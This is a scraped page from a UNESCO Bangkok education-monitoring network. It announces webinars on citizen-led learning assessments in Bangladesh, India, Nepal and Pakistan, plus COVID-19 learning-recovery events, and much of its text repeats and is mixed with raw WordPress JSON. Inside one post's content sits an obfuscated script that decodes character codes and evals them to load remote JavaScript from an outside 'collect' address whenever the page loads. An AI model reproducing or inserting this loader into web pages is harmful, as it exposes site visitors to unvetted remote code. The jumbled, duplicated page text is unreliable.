Civil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children. In all four countries, the initiative is known as the Annual Status of Education Report, or ASER<\/a> \u2013 a word that means \u2018impact\u2019 in three of these four countries. ASER was first implemented in India in 2005; in Pakistan in 2008; in Bangladesh in 2014; and in Nepal in 2016. CLAs engage policy makers, planners, teachers, parents, and community members in discussions about learning and help foster understanding of the importance of ensuring quality education.<\/p>\n\n\n\n

The current series (the fourth issue) on \u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\n

The Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP)<\/a>, in partnership with the Australian Council for Educational Research (ACER) through the Global Education Monitoring (GEM) Centre<\/a>, produces series of \u2018topical case studies\u2019<\/strong> to strengthen the knowledge base in the quality of education through research and analysis related to learning assessments. The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\n

The Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP)<\/a>, in partnership with the Australian Council for Educational Research (ACER) through the Global Education Monitoring (GEM) Centre<\/a>, produces series of \u2018topical case studies\u2019<\/strong> to strengthen the knowledge base in the quality of education through research and analysis related to learning assessments. The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\n
The current series (the fourth issue) on \u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\n
Civil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children. In all four countries, the initiative is known as the Annual Status of Education Report, or ASER<\/a> \u2013 a word that means \u2018impact\u2019 in three of these four countries. ASER was first implemented in India in 2005; in Pakistan in 2008; in Bangladesh in 2014; and in Nepal in 2016. CLAs engage policy makers, planners, teachers, parents, and community members in discussions about learning and help foster understanding of the importance of ensuring quality education.<\/p>\n\n\n\n
<\/p>\n\n\n\n
Objectives and expected outcomes: <\/strong><\/p>\n\n\n\n
Highlight key findings and concrete examples of the CLA applications from Bangladesh, India, Nepal and Pakistan; <\/li>
Enable knowledge exchange and informed decision-making amongst education stakeholders and policymakers on using the CLA model in supporting the education strategy and addressing learning loss.<\/li><\/ol>\n\n\n\n

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\n
The current series (the fourth issue) on \u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\n
Civil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children. In all four countries, the initiative is known as the Annual Status of Education Report, or ASER<\/a> \u2013 a word that means \u2018impact\u2019 in three of these four countries. ASER was first implemented in India in 2005; in Pakistan in 2008; in Bangladesh in 2014; and in Nepal in 2016. CLAs engage policy makers, planners, teachers, parents, and community members in discussions about learning and help foster understanding of the importance of ensuring quality education.<\/p>\n\n\n\n
<\/p>\n\n\n\n
Objectives and expected outcomes: <\/strong><\/p>\n\n\n\n
Highlight key findings and concrete examples of the CLA applications from Bangladesh, India, Nepal and Pakistan; <\/li>
Enable knowledge exchange and informed decision-making amongst education stakeholders and policymakers on using the CLA model in supporting the education strategy and addressing learning loss.<\/li><\/ol>\n\n\n\n
<\/p>\n\n\n\n
Target Audience:<\/strong><\/a> <\/p>\n\n\n\n
The webinar is aimed at <\/p>\n\n\n\n
members of NEQMAP network from the Asia-Pacific region; and <\/li>
anyone with an interest in the CLA model, especially policy makers, ministry officials, curriculum developers, assessment bodies, civil society organizations, development partners, teachers, teacher trainers, academic researchers, etc.<\/li><\/ul>\n\n\n\n

Background<\/strong><\/p>\n\n\n\n
The Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP)<\/a>, in partnership with the Australian Council for Educational Research (ACER) through the Global Education Monitoring (GEM) Centre<\/a>, produces series of \u2018topical case studies\u2019<\/strong> to strengthen the knowledge base in the quality of education through research and analysis related to learning assessments. The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\n
The current series (the fourth issue) on \u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\n
Civil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children. In all four countries, the initiative is known as the Annual Status of Education Report, or ASER<\/a> \u2013 a word that means \u2018impact\u2019 in three of these four countries. ASER was first implemented in India in 2005; in Pakistan in 2008; in Bangladesh in 2014; and in Nepal in 2016. CLAs engage policy makers, planners, teachers, parents, and community members in discussions about learning and help foster understanding of the importance of ensuring quality education.<\/p>\n\n\n\n
<\/p>\n\n\n\n
Objectives and expected outcomes: <\/strong><\/p>\n\n\n\n
Highlight key findings and concrete examples of the CLA applications from Bangladesh, India, Nepal and Pakistan; <\/li>
Enable knowledge exchange and informed decision-making amongst education stakeholders and policymakers on using the CLA model in supporting the education strategy and addressing learning loss.<\/li><\/ol>\n\n\n\n
<\/p>\n\n\n\n
Target Audience:<\/strong><\/a> <\/p>\n\n\n\n

To discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19. We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education. A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\n

The UNESCO Global Education Coalition reported that over 100 million additional children will fall below the minimum proficiency level in reading as a result of the global health crisis. As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\n

Background<\/strong><\/p>\n\n\n\n
The Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP)<\/a>, in partnership with the Australian Council for Educational Research (ACER) through the Global Education Monitoring (GEM) Centre<\/a>, produces series of \u2018topical case studies\u2019<\/strong> to strengthen the knowledge base in the quality of education through research and analysis related to learning assessments. The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\n
The current series (the fourth issue) on \u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\n
Civil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children. In all four countries, the initiative is known as the Annual Status of Education Report, or ASER<\/a> \u2013 a word that means \u2018impact\u2019 in three of these four countries. ASER was first implemented in India in 2005; in Pakistan in 2008; in Bangladesh in 2014; and in Nepal in 2016. CLAs engage policy makers, planners, teachers, parents, and community members in discussions about learning and help foster understanding of the importance of ensuring quality education.<\/p>\n\n\n\n
<\/p>\n\n\n\n
Objectives and expected outcomes: <\/strong><\/p>\n\n\n\n
Highlight key findings and concrete examples of the CLA applications from Bangladesh, India, Nepal and Pakistan; <\/li>
Enable knowledge exchange and informed decision-making amongst education stakeholders and policymakers on using the CLA model in supporting the education strategy and addressing learning loss.<\/li><\/ol>\n\n\n\n
<\/p>\n\n\n\n
Target Audience:<\/strong><\/a> <\/p>\n\n\n\n
The webinar is aimed at <\/p>\n\n\n\n
members of NEQMAP network from the Asia-Pacific region; and <\/li>
anyone with an interest in the CLA model, especially policy makers, ministry officials, curriculum developers, assessment bodies, civil society organizations, development partners, teachers, teacher trainers, academic researchers, etc.<\/li><\/ul>\n\n\n\n

Background<\/strong><\/p>\n\n\n\n
The UNESCO Global Education Coalition reported that over 100 million additional children will fall below the minimum proficiency level in reading as a result of the global health crisis. As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\n
To discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19. We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education. A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\n
Objectives:<\/strong><\/p>\n\n\n\n
To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li>
To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li>
To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\n

To discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19. We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education. A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\n

On behalf of UNESCO and UNICEF, you are kindly invited to participate in the UNICEF-UNESCO Webinar Series on Learning Recovery Beyond COVID-19<\/strong>. As schools reopen across the Asia-Pacific region, UNESCO and UNICEF have joined hands to organize a series of webinars to inform, engage and provide tools for government and sector experts to support their COVID-19 education recovery efforts.<\/p>\n\n\n\n
Our first webinar in the series is on the Critical Role of Formative Assessment for Learning Recovery<\/strong>.<\/p>\n\n\n\n
Please note that to allow for wider participation, it has moved to 25 January 2022, 15:30-17:00pm Bangkok time (GMT+7)<\/strong>.<\/p>\n\n\n\n
(Free) registration for the webinar is required: https:\/\/unicef.zoom.us\/webinar\/register\/WN_zm5cMvnATB6hFdGnEwyhDA<\/a> . <\/strong><\/p>\n\n\n\n
Once you register, a unique link to join the webinar will be sent to your email.<\/p>\n\n\n\n
We would appreciate it if you could share this invitation widely within your networks.<\/p>\n\n\n\n
The webinar will cover how teachers can use formative assessment to remediate learning loss, ensure children are learning at the right level, improve learning outcomes and prevent dropout. It will feature country examples of good practice from across the Asia Pacific region, from India, Kazakhstan, Pakistan, the Philippines and Sri Lanka, as well as speakers from UNICEF and UNESCO.<\/p>\n\n\n\n
For background reading, please see the UNESCO report, Reimaging our Futures Together<\/a>, and UNICEF\u2019s Formative Assessment Guidance for Teachers<\/a>. Associated guidance and tools on assessment, including guidance for teachers, can be found on the new interagency All Children Learning Assessment Platform<\/strong>: https:\/\/allchildrenlearning.org<\/a><\/p>\n\n\n\n
Should you require further information or have any questions regarding this joint webinar, please do not hesitate to contact us: Ms Faryal Khan (f.khan@unesco.org<\/a>), Ms Phenwilai Chaiyaporn (Um) (p.chaiyaporn@unesco.org<\/a>), Emma Hamilton Clark (ehamilton@unicef.org<\/a>) or Frank van Cappelle (fvancappelle@unicef.org<\/a>).<\/p>\n \n
The COVID-19 pandemic has severely impacted all areas of life. An increased reliance on home educational resources have caused substantial disruptions to learning for many children and are exacerbating learning inequities. The ambitious education goals of the 2030 Sustainable Development Agenda are threatened by nationwide and localised school closures around the world.<\/p>\n\n\n\n
The\u00a0Monitoring Impacts on Learning Outcomes (MILO)<\/strong>\u00a0project has examined reading and mathematics outcomes in 6 countries in Africa, in order to capture the effect of COVID-19 on learning and to evaluate the effectiveness of distance learning mechanisms implemented during school closures.<\/p>\n\n\n\n
The webinar will:<\/p>\n\n\n\n
present the Monitoring Impacts on Learning Outcomes (MILO) project methodologies and pilot activities held in 2021;<\/li>
give the perspective of the pilot countries\u00a0<\/li>
give an overview of the SDG learning proficiency values and trends in Africa\u00a0<\/li>
discuss important questions around measurement accuracy<\/li><\/ul>\n\n\n\n

It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children. In all four countries, the initiative is known as <a href=\"http:\/\/www.asercentre.org\/\">the Annual Status of Education Report, or ASER<\/a> \u2013 a word that means \u2018impact\u2019 in three of these four countries. ASER was first implemented in India in 2005; in Pakistan in 2008; in Bangladesh in 2014; and in Nepal in 2016. CLAs engage policy makers, planners, teachers, parents, and community members in discussions about learning and help foster understanding of the importance of ensuring quality education.<\/p>\n\n\n\n<\/p>\n\n\n\nObjectives and expected outcomes: <\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>Highlight key findings and concrete examples of the CLA applications from Bangladesh, India, Nepal and Pakistan; <\/li><li>Enable knowledge exchange and informed decision-making amongst education stakeholders and policymakers on using the CLA model in supporting the education strategy and addressing learning loss.<\/li><\/ol>\n\n\n\n<\/p>\n\n\n\n<a>Target Audience:<\/strong><\/a> <\/p>\n\n\n\nThe webinar is aimed at <\/p>\n\n\n\n<ul><li>members of NEQMAP network from the Asia-Pacific region; and <\/li><li>anyone with an interest in the CLA model, especially policy makers, ministry officials, curriculum developers, assessment bodies, civil society organizations, development partners, teachers, teacher trainers, academic researchers, etc.<\/li><\/ul>\n\n\n\n <\/p>\n\n\n\n<a>Contact information: <\/strong><\/a><\/p>\n\n\n\n NEQMAP Secretariat, UNESCO Bangkok: <a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a><\/p>\n<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script>","post_title":"Regional Launch Webinar on Citizen-led Assessments in South Asian Countries","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"save-the-date-regional-launch-webinar-on-citizen-led-assessments-in-south-asian-countries","to_ping":"","pinged":"","post_modified":"2024-12-02 12:49:39","post_modified_gmt":"2024-12-02 05:49:39","post_content_filtered":"\nYou are invited to a Regional Launch of NEQMAP-ACER Topical Case Study in Using Learning Assessment Data in Education Policy and Practice: Examples from Asia-Pacific.<\/p>\n\n\n\nThis fourth Topical Case Study in the series is on Citizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning<\/strong>, with examples from India, Pakistan, Nepal, and Bangladesh. <\/strong><\/p>\n\n\n\nDate:<\/strong> Thursday 21st October 2021 <\/p>\n\n\n\nTime: <\/strong>13:00-14:30h Bangkok Time <\/p>\n\n\n\nModality:<\/strong> Zoom Platform<\/p>\n\n\n\nLink for Registration: <\/strong><a href=\"https:\/\/unesco-org.zoom.us\/webinar\/register\/WN_-vJo89MzSrGiph5_GvWK-A\" target=\"_blank\" rel=\"noreferrer noopener\">Click Here<\/strong><\/a><\/p>\n\n\n\nLink to Concept note<\/strong>: <a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2021\/10\/Concept-Note_NEQMAP-Regional-Launch-of-CLA-topical-case-study_21Oct2021.pdf\">Click Here<\/strong><\/a><\/p>\n\n\n\nProgramme Agenda:<\/strong> <a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2021\/10\/Agenda_NEQMAP-Reg-Launch-of-CLA-topical-case-study_21Oct2021_FINAL.pdf\">Click Here<\/a><\/strong><\/p>\n\n\n\nBackground<\/strong><\/p>\n\n\n\n<a href=\"https:\/\/neqmap.bangkok.unesco.org\/\">The Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP)<\/a>, in partnership with the Australian Council for Educational Research (ACER) through the <a href=\"https:\/\/www.acer.org\/au\/gem\/documents\">Global Education Monitoring (GEM) Centre<\/a>, produces series of \u2018topical case studies\u2019<\/strong> to strengthen the knowledge base in the quality of education through research and analysis related to learning assessments.

The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children. In all four countries, the initiative is known as <a href=\"http:\/\/www.asercentre.org\/\">the Annual Status of Education Report, or ASER<\/a> \u2013 a word that means \u2018impact\u2019 in three of these four countries. ASER was first implemented in India in 2005; in Pakistan in 2008; in Bangladesh in 2014; and in Nepal in 2016. CLAs engage policy makers, planners, teachers, parents, and community members in discussions about learning and help foster understanding of the importance of ensuring quality education.<\/p>\n\n\n\n<\/p>\n\n\n\nObjectives and expected outcomes: <\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>Highlight key findings and concrete examples of the CLA applications from Bangladesh, India, Nepal and Pakistan; <\/li><li>Enable knowledge exchange and informed decision-making amongst education stakeholders and policymakers on using the CLA model in supporting the education strategy and addressing learning loss.<\/li><\/ol>\n\n\n\n<\/p>\n\n\n\n<a>Target Audience:<\/strong><\/a> <\/p>\n\n\n\nThe webinar is aimed at <\/p>\n\n\n\n<ul><li>members of NEQMAP network from the Asia-Pacific region; and <\/li><li>anyone with an interest in the CLA model, especially policy makers, ministry officials, curriculum developers, assessment bodies, civil society organizations, development partners, teachers, teacher trainers, academic researchers, etc.<\/li><\/ul>\n\n\n\n <\/p>\n\n\n\n<a>Contact information: <\/strong><\/a><\/p>\n\n\n\n NEQMAP Secretariat, UNESCO Bangkok: <a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a><\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5210","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":false,"total_page":1},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_3"};</script> </div> </div> </div> </div> </div> </div> </section> \nSlide Presentations:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP-Activities-update-2022.pdf\" target=\"_blank\">NEQMAP\u2019s activities in 2022 and major 2022 education events in Asia-Pacific<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Bangkok-Statement-and-TES.pdf\" target=\"_blank\">NEQMAP\u2019s role and contributions in advancing countries\u2019 commitments to improving learning for all (Bangkok Statement 2022 and Transforming Education Summit follow-up)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP_ACER_India_2022_v1.1.pdf\" target=\"_blank\">Bringing policy to classrooms: Supporting teachers on criterion-referenced assessments in the National Capital Territory of Delhi<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Deviram-Acharya-Presentation.pdf\" target=\"_blank\">Classroom Assessment for Enhancing Learning and Recovery in Nepal<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-Priority-areas-Soumaya-.pdf\" target=\"_blank\">Identifying priority areas of work for NEQMAP 2023<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-AndreasWhatsNewPISA.pdf\" target=\"_blank\">What\u2019s new in PISA 2025<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/SEA-PLM-PPT-NEQMAP-as-of-13-December-2022.pdf\" target=\"_blank\">Monitoring and Developing ASEAN Basic Education: The New Phase of the Southeast Asia Primary Learning Metrics (SEA-PLM)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-The-role-of-Learning-Progressions-in-global-education-monitoring.pdf\" target=\"_blank\">The role of Learning Progressions in global education monitoring<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/Wellbeing-assessment_Zhao.pdf\" target=\"_blank\">Education for flourishing: Perspective and practice in well-being assessment<\/a> Video Recordings:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/drive.google.com\/file\/d\/1rzod9xwHQ_b59_WHkwUKxEsOjsHFGqL9\/view?usp=share_link\" target=\"_blank\">Updates on the 4th<\/sup> and 5th<\/sup> editions of PILNA<\/a><\/p>\n\n\n\n<iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/videoseries?controls=0&list=PLWuYED1WVJIMC0seHrLq3jmv8zodwnSJI\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\"><\/iframe>\n\n\n\nNote: This meeting is not open to the public.

The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

